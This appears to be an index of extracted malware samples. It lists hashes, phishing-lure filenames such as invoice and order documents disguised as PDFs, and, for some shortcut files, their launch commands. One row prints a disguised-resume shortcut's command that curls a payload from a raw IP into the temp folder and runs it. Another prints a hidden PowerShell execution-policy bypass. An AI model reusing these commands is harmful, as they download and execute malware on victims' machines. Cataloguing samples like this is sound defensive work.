.\4d175a4a5bbd3a45ea8849477913a89178f11a07ddcebc2f03db7058652c0ae9	4d175a4a5bbd3a45ea8849477913a89178f11a07ddcebc2f03db7058652c0ae9_1661938884	['.\4d175a4a5bbd3a45ea8849477913a89178f11a07ddcebc2f03db7058652c0ae9_1661938884/hesaphareketi-01.exe;1']
.\4d4ff7d4c46ae00c2ddc7e2553356d6c4caf9ba446a0758154f7b518de04b5a5	4d4ff7d4c46ae00c2ddc7e2553356d6c4caf9ba446a0758154f7b518de04b5a5_1661938884	['.\4d4ff7d4c46ae00c2ddc7e2553356d6c4caf9ba446a0758154f7b518de04b5a5_1661938884/Order Confirmation E220079734453 - SUMAN DOO.vbs']
.\4d9b68420ff277644162b0ee30463c7fa08bbd5123700fe0313d5b0ab98672b4	4d9b68420ff277644162b0ee30463c7fa08bbd5123700fe0313d5b0ab98672b4_1661938884	['.\4d9b68420ff277644162b0ee30463c7fa08bbd5123700fe0313d5b0ab98672b4_1661938884/Draft BL AP03EMI058230522.vbs']
.\513a4ea3029a12e4cc61aca4df8d4276b668b8254b8d89490c64635f36c8df51	513a4ea3029a12e4cc61aca4df8d4276b668b8254b8d89490c64635f36c8df51_1661938884	['.\513a4ea3029a12e4cc61aca4df8d4276b668b8254b8d89490c64635f36c8df51_1661938884/견적 요청 p.0-202208100237KR.exe']
.\513dc4df604bfb269f41e79f117dce3212b26e93395a18946a4233eb3288d22b	513dc4df604bfb269f41e79f117dce3212b26e93395a18946a4233eb3288d22b_1661938884	['.\513dc4df604bfb269f41e79f117dce3212b26e93395a18946a4233eb3288d22b_1661938884/Solicitud de cotización factura 17-08-2022.exe']
.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841	5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884	"['.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/ASQA.txt', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/BAckdoor.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Behaveslike.BAT.GEN.txt', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Cyber Security antivirus NEW 0.1.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/FileDelVirus.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/J.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Jayandk.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Malware-ROz.win32.application.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Minecraft hack tools setup ( TURN OFF ANTIVITUS ).EXE', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/New Text Document.txt', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/ROZBEH RANSOMWARE 4.0.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/SYSROZBEH.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/ScriptWormROZ.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Simple game!.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Softwareupdator tools for classic.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Softwareupdator tools for classic_original.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Softwareupdator tools for classicasasasasas.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/TRJrozbeh.txt', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Trojan NPC Cyber cide 2.1.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Trojan ROZ Cyber cide 2.1.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Trojan ROZ Cyber cide 2.1.txt', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Trojan rozbeh.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Trojan.Generic.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Trojan.Winkill.rozbeh.A.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Trojan.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Trojan.winkill.32.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/TrojanWIN32.txt', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Untitled1.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/WALKER.COM', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/alpha test.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/avata Security antivirus.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/avata antivirus.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/backdoorROZ.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/badrabit.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/bomb.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/fata.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/goldenEye.bat', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/goldenEye.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/rozbehWORM123.txt', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/rozbehworm.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/rozbehworm.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/rozmalwareURSU.txt', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/sdad.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Bosses/End of the line.ROZbEH.TRJ.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Bosses/Trojan.Dropper.ROZBEH.A.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Bosses/Trojan.Evilbot.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Bosses/Trojan.behind the mask.ROZBEH.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Bosses/Trojan.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/Bosses/goldenEye.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/BehavesLike.VBS.Backdoor.xp.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Heru.BZC.ONG.Leonarddf08cc3.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Makefile.win', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Project2.dev', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Project2.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Project2.layout', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/TRJA.vbs', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Trojan.Generic.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Trojan.ROZBEH.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Trojan.behind the mask.ROZBEH.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/Trojan.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/TrojanWIn32ROZBEH.exe', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/main.cpp', '.\5153d5dd02d9de6581177b5f41f538263b43ed6579ba14ae332d191177df2841_1661938884/CVIRUS/main.o']"
.\52058faeb4ee060a33037f5907623f00676831def505649385a8bfe164a5d087	52058faeb4ee060a33037f5907623f00676831def505649385a8bfe164a5d087_1661938884	['.\52058faeb4ee060a33037f5907623f00676831def505649385a8bfe164a5d087_1661938884/Doc10028.exe;1']
.\53818944e4763edb60f9601685ae3cb1893e14d71f7a9fb063456bdaad3bfedf	53818944e4763edb60f9601685ae3cb1893e14d71f7a9fb063456bdaad3bfedf_1661938884	"['.\53818944e4763edb60f9601685ae3cb1893e14d71f7a9fb063456bdaad3bfedf_1661938884/Unpaid_order-.lnk', '.\53818944e4763edb60f9601685ae3cb1893e14d71f7a9fb063456bdaad3bfedf_1661938884/about/him.txt', '.\53818944e4763edb60f9601685ae3cb1893e14d71f7a9fb063456bdaad3bfedf_1661938884/about/time.dat', '.\53818944e4763edb60f9601685ae3cb1893e14d71f7a9fb063456bdaad3bfedf_1661938884/about/worker.cmd', '.\53818944e4763edb60f9601685ae3cb1893e14d71f7a9fb063456bdaad3bfedf_1661938884/about/worker.js']"	.\53818944e4763edb60f9601685ae3cb1893e14d71f7a9fb063456bdaad3bfedf_1661938884/Unpaid_order-.lnk	about/worker.cmd
.\540beced4b68bb40737673554e08e3c224c3231b0634d3fba8a61c4f20a07876	540beced4b68bb40737673554e08e3c224c3231b0634d3fba8a61c4f20a07876_1661938884	['.\540beced4b68bb40737673554e08e3c224c3231b0634d3fba8a61c4f20a07876_1661938884/StudioOne_Keygen.exe']
.\5457c4d6086e83da0efde5b7e1b839698121a723aacb1702f7c32ff7e9876545	5457c4d6086e83da0efde5b7e1b839698121a723aacb1702f7c32ff7e9876545_1661938884	"['.\5457c4d6086e83da0efde5b7e1b839698121a723aacb1702f7c32ff7e9876545_1661938884/Přiloženy jsou naše objednávkové dokumenty PT578, pdf.exe']"
.\54b520ebbf9f6baae305b159ed160e5f8800325220e09ff378bd789c126f0bce	54b520ebbf9f6baae305b159ed160e5f8800325220e09ff378bd789c126f0bce_1661938884	"['.\54b520ebbf9f6baae305b159ed160e5f8800325220e09ff378bd789c126f0bce_1661938884/Scantec Nordic AB YENİ SİPARİŞ,pdf.exe']"
.\559404f166eed3c10cb0c132b8f431c07d5f40bde7b10e5d8a17bfafcc71a2d6	559404f166eed3c10cb0c132b8f431c07d5f40bde7b10e5d8a17bfafcc71a2d6_1661938884	"['.\559404f166eed3c10cb0c132b8f431c07d5f40bde7b10e5d8a17bfafcc71a2d6_1661938884/0a4b022d6865dc32bb246c8b57aadb06', '.\559404f166eed3c10cb0c132b8f431c07d5f40bde7b10e5d8a17bfafcc71a2d6_1661938884/0edae674d07a68eda7497a10c580bdee']"
.\55b2b93d1e4ad731dad279a626486a8a6b352cf176d947ced1ccc0d3fa001639	55b2b93d1e4ad731dad279a626486a8a6b352cf176d947ced1ccc0d3fa001639_1661938884	['.\55b2b93d1e4ad731dad279a626486a8a6b352cf176d947ced1ccc0d3fa001639_1661938884/KE160899220817.exe']
.\560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737	560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737_1661938884	"['.\560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737_1661938884/invoice-not-paid-date08-08-22-pdf.lnk', '.\560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737_1661938884/at/but.txt', '.\560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737_1661938884/at/butGetThereThisHer.js', '.\560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737_1661938884/at/makeVeryOtherSomeWe.bat', '.\560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737_1661938884/at/time.gif', '.\560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737_1661938884/at/whenWhoManyAsWho.txt']"	.\560bf15a827665da0ea1eca26ccea7db27f8814b2b2a86eda04c76c187e59737_1661938884/invoice-not-paid-date08-08-22-pdf.lnk	at/makeVeryOtherSomeWe.bat
.\56dbe7e2da613a1b6cc6b79a3d4bff65388fadd690ae581fbc07a98bd9566461	56dbe7e2da613a1b6cc6b79a3d4bff65388fadd690ae581fbc07a98bd9566461_1661938884	"['.\56dbe7e2da613a1b6cc6b79a3d4bff65388fadd690ae581fbc07a98bd9566461_1661938884/Ordene 501527,pdf.exe']"
.\578647807521bfbfd7037971ea4bf29a586164dd8cb7ac9266dfe03b05677fcb	578647807521bfbfd7037971ea4bf29a586164dd8cb7ac9266dfe03b05677fcb_1661938884	"['.\578647807521bfbfd7037971ea4bf29a586164dd8cb7ac9266dfe03b05677fcb_1661938884/异质电力变压器采购订单 34637DG,pdf.exe']"
.\5ad6fbbf83eac022c856f34c454220f6d6f198f41cf23c1b38a85fab96210958	5ad6fbbf83eac022c856f34c454220f6d6f198f41cf23c1b38a85fab96210958_1661938884	"['.\5ad6fbbf83eac022c856f34c454220f6d6f198f41cf23c1b38a85fab96210958_1661938884/DHL_227040 alındı belgesi,pdf.exe']"
.\5cc7ff3bce7ad83ebab6bd747418fa9b708d9a8d949ad08c430c028cb9884c27	5cc7ff3bce7ad83ebab6bd747418fa9b708d9a8d949ad08c430c028cb9884c27_1661938884	['.\5cc7ff3bce7ad83ebab6bd747418fa9b708d9a8d949ad08c430c028cb9884c27_1661938884/VOP CZ_objednávka 221M0345.exe']
.\5d115f915309d2d9d12bc1dafb24ff8a3cc20ba94da0da9eb92f66e04a27ce2f	5d115f915309d2d9d12bc1dafb24ff8a3cc20ba94da0da9eb92f66e04a27ce2f_1661938884	['.\5d115f915309d2d9d12bc1dafb24ff8a3cc20ba94da0da9eb92f66e04a27ce2f_1661938884/FILE__DOC6737364645.vbs']
.\5d308cd34238174c523cac19b8c271f0539b0d6dc054d062b7dd129f7ca70e12	5d308cd34238174c523cac19b8c271f0539b0d6dc054d062b7dd129f7ca70e12_1661938884	"['.\5d308cd34238174c523cac19b8c271f0539b0d6dc054d062b7dd129f7ca70e12_1661938884/CH440-3031 New Inquiry 13822.exe', '.\5d308cd34238174c523cac19b8c271f0539b0d6dc054d062b7dd129f7ca70e12_1661938884/logo.png']"
.\5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321	5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321_1661938884	"['.\5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321_1661938884/Personal data.lnk', '.\5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321_1661938884/two/ifMan.js', '.\5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321_1661938884/two/noCan.txt', '.\5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321_1661938884/two/someTwo.bat', '.\5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321_1661938884/two/year.gif', '.\5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321_1661938884/two/your.txt']"	.\5e2864bcf3b59f5636ea20d28522ab382680b5b65526e7d6447f787e0aad9321_1661938884/Personal data.lnk	two/someTwo.bat
.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f	5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884	"['.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/documents.lnk', '.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/then/by.txt', '.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/then/day.gif', '.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/then/he.png', '.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/then/herCouldHisGiveHe.txt', '.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/then/sayForNowSoOr.bat', '.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/then/theirUpTwoWeCome.js', '.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/then/use.txt']"	.\5eaa4a28a6d908710036aecce002601795d2a2c8233a866ec204d8fc6590009f_1661938884/documents.lnk	then/sayForNowSoOr.bat
.\5eddde06ae42eada05ff787b61b578da95afa7246fa126c1901acba6d9ff8112	5eddde06ae42eada05ff787b61b578da95afa7246fa126c1901acba6d9ff8112_1661938884	['.\5eddde06ae42eada05ff787b61b578da95afa7246fa126c1901acba6d9ff8112_1661938884/FILE677890977_67278827635.vbs']
.\5fee300058f326961c9eeffd3006af8361cbd92b53d58bb631581345b510e2e9	5fee300058f326961c9eeffd3006af8361cbd92b53d58bb631581345b510e2e9_1661938884	['.\5fee300058f326961c9eeffd3006af8361cbd92b53d58bb631581345b510e2e9_1661938884/ryDalaWq3ijjXvY.exe']
.\6020884917b23c9b72a88b46b3cb30678b39ee659d94110be923d3f479267132	6020884917b23c9b72a88b46b3cb30678b39ee659d94110be923d3f479267132_1661938884	"['.\6020884917b23c9b72a88b46b3cb30678b39ee659d94110be923d3f479267132_1661938884/Attachment.jpg', '.\6020884917b23c9b72a88b46b3cb30678b39ee659d94110be923d3f479267132_1661938884/Attachment.jpg.lnk', '.\6020884917b23c9b72a88b46b3cb30678b39ee659d94110be923d3f479267132_1661938884/z.ps1']"	.\6020884917b23c9b72a88b46b3cb30678b39ee659d94110be923d3f479267132_1661938884/Attachment.jpg.lnk	Windows/System32/WindowsPowerShell/v1.0/powershell.exe	-exec bypass -w h -file z.ps1
.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800	6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884	"['.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884/documents.lnk', '.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884/their/as.txt', '.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884/their/firstSheKnowTheyPeople.js', '.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884/their/from.txt', '.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884/their/itOurMakeThemThan.txt', '.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884/their/ourOrItIfOr.bat', '.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884/their/who.jpg']"	.\6062a6dab6078075f6d76fd3707a3efd45b77061251064cd93c898729e081800_1661938884/documents.lnk	their/ourOrItIfOr.bat
.\6149c38f7c934e9666cd90810c5c3cb97378a9654b6c7fd1189f5b97efe0ecf0	6149c38f7c934e9666cd90810c5c3cb97378a9654b6c7fd1189f5b97efe0ecf0_1661938884	"['.\6149c38f7c934e9666cd90810c5c3cb97378a9654b6c7fd1189f5b97efe0ecf0_1661938884/RFQ 103404_00108182022,pdf.exe']"
.\61b40031199a78de07ee4c6dfbbfdd8068015a6e17efc9a8db0ddbcb93918096	61b40031199a78de07ee4c6dfbbfdd8068015a6e17efc9a8db0ddbcb93918096_1661938884	['.\61b40031199a78de07ee4c6dfbbfdd8068015a6e17efc9a8db0ddbcb93918096_1661938884/Product sample1102.exe']
.\61ec8f9ca2a26a56faa7f43a6b28c986fa9509a13fb47f67743bdb7f9911bd0a	61ec8f9ca2a26a56faa7f43a6b28c986fa9509a13fb47f67743bdb7f9911bd0a_1661938884	['.\61ec8f9ca2a26a56faa7f43a6b28c986fa9509a13fb47f67743bdb7f9911bd0a_1661938884/Remittance Advice_pdf .exe']
.\61ef869ff60a5a293b2662a0626843ef4d69deef00ab6dee85fe22c6aaaa2926	61ef869ff60a5a293b2662a0626843ef4d69deef00ab6dee85fe22c6aaaa2926_1661938884	['.\61ef869ff60a5a293b2662a0626843ef4d69deef00ab6dee85fe22c6aaaa2926_1661938884/Mznjxtgcmhgzwqxarprsfoftvgdkltcfho.exe']
.\622a3c546a67f0966d974b5e742461a2245c9f4056661e6844f9686010990158	622a3c546a67f0966d974b5e742461a2245c9f4056661e6844f9686010990158_1661938884	['.\622a3c546a67f0966d974b5e742461a2245c9f4056661e6844f9686010990158_1661938884/Purchase_Order-(P.O_60924816_08)_Welt_SPA.exe']
.\62751a2088a2237f60201e3f1f89ce91c2877072bec0e965233f032fe5e16759	62751a2088a2237f60201e3f1f89ce91c2877072bec0e965233f032fe5e16759_1661938884	['.\62751a2088a2237f60201e3f1f89ce91c2877072bec0e965233f032fe5e16759_1661938884/New Order-RFQ-2022290816-Pdf.exe']
.\6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4	6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4_1661938884	"['.\6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4_1661938884/Personal data.lnk', '.\6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4_1661938884/two/himA.txt', '.\6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4_1661938884/two/otherGive.bat', '.\6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4_1661938884/two/wantTake.js', '.\6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4_1661938884/two/year.gif', '.\6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4_1661938884/two/your.txt']"	.\6398d86522123cf380af6d4ace2f4a128973af4d64ae39b9cda39a4d682a04b4_1661938884/Personal data.lnk	two/otherGive.bat
.\64aa124c335c01ba840a7949afaadb4005ac8682b35fbdc27c48860f9ff7ffb4	64aa124c335c01ba840a7949afaadb4005ac8682b35fbdc27c48860f9ff7ffb4_1661938884
.\66006803e3b2d409c99dffbba45b6d308126748e97b0c9054f640eeabb00d682	66006803e3b2d409c99dffbba45b6d308126748e97b0c9054f640eeabb00d682_1661938884	"['.\66006803e3b2d409c99dffbba45b6d308126748e97b0c9054f640eeabb00d682_1661938884/Adjunto Nuestro Recibo de Pedidos JT4538,pdf.exe']"
.\6728208188132428a807912c02ac158c1e25c950287aa2412070395d6f5b9b7e	6728208188132428a807912c02ac158c1e25c950287aa2412070395d6f5b9b7e_1661938884	['.\6728208188132428a807912c02ac158c1e25c950287aa2412070395d6f5b9b7e_1661938884/Nuevo pedido RFQ-2022-08-09.exe']
.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f	67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884	"['.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/Invoice-August-09-2022pdf.lnk', '.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/your/give.txt', '.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/your/ifMakeTheirFirstWho.js', '.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/your/onlyVeryWantHaveOr.txt', '.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/your/say.txt', '.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/your/tell.txt', '.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/your/thing.gif', '.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/your/toFirstIntoMakeSay.bat']"	.\67a8891ebd0930a79d3222e2af7c915b85a2330d100c83892128d698f9958b9f_1661938884/Invoice-August-09-2022pdf.lnk	your/toFirstIntoMakeSay.bat
.\67c375a8555108693bcf2f3fa85da9baa1efcfd2bcc09fddc2676580a9fd8a83	67c375a8555108693bcf2f3fa85da9baa1efcfd2bcc09fddc2676580a9fd8a83_1661938884	"['.\67c375a8555108693bcf2f3fa85da9baa1efcfd2bcc09fddc2676580a9fd8a83_1661938884/documents.lnk', '.\67c375a8555108693bcf2f3fa85da9baa1efcfd2bcc09fddc2676580a9fd8a83_1661938884/one/getKnow.js', '.\67c375a8555108693bcf2f3fa85da9baa1efcfd2bcc09fddc2676580a9fd8a83_1661938884/one/newA.bat', '.\67c375a8555108693bcf2f3fa85da9baa1efcfd2bcc09fddc2676580a9fd8a83_1661938884/one/yearThese.txt']"	.\67c375a8555108693bcf2f3fa85da9baa1efcfd2bcc09fddc2676580a9fd8a83_1661938884/documents.lnk	one/newA.bat
.\68ed4dfd779bbc1b6c8958a86f02f6a4046532fcd8eea3e5b8ca74cd296343fe	68ed4dfd779bbc1b6c8958a86f02f6a4046532fcd8eea3e5b8ca74cd296343fe_1661938885	['.\68ed4dfd779bbc1b6c8958a86f02f6a4046532fcd8eea3e5b8ca74cd296343fe_1661938885/screenshot_wesco_aex45efol\u202e fdр..exe']
.\6b8f0ee91a8c77c7c4ee434b687e2b1e06f0798d243759bebe6248be7be73434	6b8f0ee91a8c77c7c4ee434b687e2b1e06f0798d243759bebe6248be7be73434_1661938885	['.\6b8f0ee91a8c77c7c4ee434b687e2b1e06f0798d243759bebe6248be7be73434_1661938885/FILE455665544_66652525562.vbs']
.\6bfd0eba70e49d5d28e778b5ebe7e66de26c6253cf34c0d0b736c84040c4fab1	6bfd0eba70e49d5d28e778b5ebe7e66de26c6253cf34c0d0b736c84040c4fab1_1661938885	['.\6bfd0eba70e49d5d28e778b5ebe7e66de26c6253cf34c0d0b736c84040c4fab1_1661938885/installer_1_4_1-6977.exe']
.\6ddddcdf707428dbf568ca0cc638f8f619e7aba031d59e6be5ec4826cde7b2d0	6ddddcdf707428dbf568ca0cc638f8f619e7aba031d59e6be5ec4826cde7b2d0_1661938885	['.\6ddddcdf707428dbf568ca0cc638f8f619e7aba031d59e6be5ec4826cde7b2d0_1661938885/20-00030.exe']
.\6e0461ac5f647d3119a475e2dcccd68e666ee86133bf00bd1c982b25926a8f10	6e0461ac5f647d3119a475e2dcccd68e666ee86133bf00bd1c982b25926a8f10_1661938885	['.\6e0461ac5f647d3119a475e2dcccd68e666ee86133bf00bd1c982b25926a8f10_1661938885/Doc61630.bat']
.\6e8d195a36bd2aa759068a16b203cb7852cb20a4a18ffdd551f5bb4269b3f9f5	6e8d195a36bd2aa759068a16b203cb7852cb20a4a18ffdd551f5bb4269b3f9f5_1661938885	['.\6e8d195a36bd2aa759068a16b203cb7852cb20a4a18ffdd551f5bb4269b3f9f5_1661938885/lebenslauf_2022068 .pdf.lnk']	.\6e8d195a36bd2aa759068a16b203cb7852cb20a4a18ffdd551f5bb4269b3f9f5_1661938885/lebenslauf_2022068 .pdf.lnk	Windows/System32/forfiles.exe	"/m *lnk /c ""cmd /c cur^l http://185.45.192.234/re.css -o ""%temp%\l64d3d.cmd""&&""%temp%\l64d3d.cmd""&&exit"""
.\6f5bb4b27960ed6d2aac0ead06fb5481ee358b4553312910c0443431265d3ab9	6f5bb4b27960ed6d2aac0ead06fb5481ee358b4553312910c0443431265d3ab9_1661938885	"['.\6f5bb4b27960ed6d2aac0ead06fb5481ee358b4553312910c0443431265d3ab9_1661938885/IK_Multimedia_Keygen.exe', '.\6f5bb4b27960ed6d2aac0ead06fb5481ee358b4553312910c0443431265d3ab9_1661938885/R2R.txt']"
.\6fe43ddf5c0717045cb48b04f6ac1dc6005585853cedbee8f9a523913282bf0f	6fe43ddf5c0717045cb48b04f6ac1dc6005585853cedbee8f9a523913282bf0f_1661938885
.\7344adf8aec212b37bfa865687af83b1e5e99bce5fba6c14f931e14511c01e85	7344adf8aec212b37bfa865687af83b1e5e99bce5fba6c14f931e14511c01e85_1661938885	['.\7344adf8aec212b37bfa865687af83b1e5e99bce5fba6c14f931e14511c01e85_1661938885/TNT AWB & INVOICE (2).exe']
